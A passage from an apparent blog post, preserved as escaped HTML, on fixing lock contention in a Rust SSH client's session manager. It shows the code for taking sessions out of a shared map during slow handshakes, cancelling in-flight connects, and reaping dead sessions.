&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;SESSION_MANAGER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OnceLock&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Arc&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;SessionManager&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;OnceLock&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One &lt;code&gt;Arc&amp;lt;Mutex&amp;lt;HashMap&amp;lt;Id, Session&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;, shared by every tab. Reads are cheap — grab the lock, find the session, write some bytes, drop the lock. It worked fine until someone opened a tenth tab and connected to a new host, and every &lt;em&gt;other&lt;/em&gt; tab froze for three seconds. Through a jump host, longer.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug is one &lt;code&gt;.await&lt;/code&gt; too many
&lt;/h2&gt;

&lt;p&gt;The connect path looked like the obvious thing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;connect_session&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_session_manager&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="nf"&gt;.lock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.sessions&lt;/span&gt;&lt;span class="nf"&gt;.get_mut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.ok_or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"not found"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="nf"&gt;.connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;   &lt;span class="c1"&gt;// &amp;lt;-- SSH handshake: seconds&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem is the last line. &lt;code&gt;session.connect(...).await&lt;/code&gt; is the full SSH handshake — key exchange, auth, maybe an agent trying keys in batches, maybe a whole second hop through a jump host. And we're holding the manager lock across it. Every keystroke in every other session, every stats poll, every "write these bytes to the terminal" now waits in line behind a network round-trip to a machine that might be on the other side of the planet.&lt;/p&gt;

&lt;p&gt;Holding a lock across &lt;code&gt;.await&lt;/code&gt; isn't a deadlock here — tokio's &lt;code&gt;Mutex&lt;/code&gt; is fair and it'll get released. It's &lt;em&gt;head-of-line blocking&lt;/em&gt;: the lock is held for as long as the slowest operation under it takes, and everyone else pays for it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Move ownership out, do the slow work unlocked
&lt;/h2&gt;

&lt;p&gt;The fix is to stop treating the session as something you &lt;em&gt;borrow from the map&lt;/em&gt; for the duration of a slow call. Take it &lt;em&gt;out&lt;/em&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="cd"&gt;/// Remove a session from the map so a slow `&amp;amp;mut self` op can run on it&lt;/span&gt;
&lt;span class="cd"&gt;/// without holding the manager lock. The caller MUST hand it back.&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;take_session_for_op&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;SshSession&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_session_manager&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.lock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.in_flight&lt;/span&gt;&lt;span class="nf"&gt;.contains_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"an operation is already in progress for this session"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.sessions&lt;/span&gt;&lt;span class="nf"&gt;.remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.in_flight&lt;/span&gt;&lt;span class="nf"&gt;.insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="nf"&gt;.to_string&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// false = not cancelled&lt;/span&gt;
            &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nb"&gt;None&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"session not found"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the lock is held only long enough to &lt;code&gt;remove&lt;/code&gt; the entry and record that an operation is running. The connect becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;connect_session&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;take_session_for_op&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// brief lock&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="nf"&gt;.connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;         &lt;span class="c1"&gt;// NO lock held&lt;/span&gt;
    &lt;span class="nf"&gt;finish_session_op&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;             &lt;span class="c1"&gt;// brief lock&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="nf"&gt;.map_err&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="nf"&gt;.to_string&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Between the first and third line the manager lock is free. The ten other tabs keep echoing keystrokes and drawing output while the new connection does its handshake in the background, holding nothing but its own owned &lt;code&gt;SshSession&lt;/code&gt;. The slow work is exactly as slow as before — it just stops being everyone else's problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Now handle the two races you just created
&lt;/h2&gt;

&lt;p&gt;The moment a session can be "outside the map," two things can go wrong, and both have bitten real users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A second operation on the same session.&lt;/strong&gt; Someone double-clicks connect, or a reconnect fires while the first is still handshaking. That's what the &lt;code&gt;in_flight&lt;/code&gt; map is for: &lt;code&gt;take_session_for_op&lt;/code&gt; refuses if an entry is already there. One in-flight &lt;code&gt;&amp;amp;mut self&lt;/code&gt; operation per session, enforced at the door.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A disconnect arrives mid-handshake.&lt;/strong&gt; This is the nasty one. The user closes the tab while the connection is still coming up. &lt;code&gt;disconnect&lt;/code&gt; grabs the lock, looks in &lt;code&gt;sessions&lt;/code&gt;… and it's not there, because we took it out. If you do nothing, the handshake finishes a moment later, &lt;code&gt;finish_session_op&lt;/code&gt; puts a now-fully-connected session back into the map, and you have a live connection nobody is watching — a zombie.&lt;/p&gt;

&lt;p&gt;So the in-flight marker doubles as a cancel flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;disconnect_session&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;owned&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_session_manager&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.lock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="c1"&gt;// Not in the map? It's mid-connect. Flag the in-flight op to tear&lt;/span&gt;
        &lt;span class="c1"&gt;// its fresh connection down instead of re-inserting it.&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.sessions&lt;/span&gt;&lt;span class="nf"&gt;.contains_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cancel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.in_flight&lt;/span&gt;&lt;span class="nf"&gt;.get_mut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;cancel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.sessions&lt;/span&gt;&lt;span class="nf"&gt;.remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Some(..) if already connected; None if mid-connect&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;owned&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="nf"&gt;.disconnect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// slow part, lock released&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the return path honours it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;finish_session_op&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;SshSession&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;to_drop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_session_manager&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.lock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="c1"&gt;// unwrap_or(true): if the marker vanished, assume cancelled.&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;cancelled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.in_flight&lt;/span&gt;&lt;span class="nf"&gt;.remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.unwrap_or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cancelled&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;to_drop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;          &lt;span class="c1"&gt;// don't re-insert&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.sessions&lt;/span&gt;&lt;span class="nf"&gt;.insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;to_drop&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="nf"&gt;.disconnect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// tear the fresh connection down&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The decision — reinsert or tear down — is made under the lock by reading one flag; the actual teardown happens after the lock is dropped. A disconnect that races a connect now always wins cleanly: either it removes an already-connected session, or it leaves a note that turns the in-flight connection into a no-op on arrival. No zombie either way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reaping the dead, without a background timer
&lt;/h2&gt;

&lt;p&gt;Sessions also die on their own — the server hangs up, the network drops, the OS kills a backgrounded app. Those need collecting too, and the same "short lock, slow work released" discipline applies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;cleanup_dead_sessions&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dead&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;owned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_session_manager&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.lock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;dead&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.sessions&lt;/span&gt;&lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="nf"&gt;.filter&lt;/span&gt;&lt;span class="p"&gt;(|(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)|&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="nf"&gt;.is_handle_closed&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(|(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;)|&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="nf"&gt;.clone&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;owned&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dead&lt;/span&gt;&lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.filter_map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;mgr&lt;/span&gt;&lt;span class="py"&gt;.sessions&lt;/span&gt;&lt;span class="nf"&gt;.remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
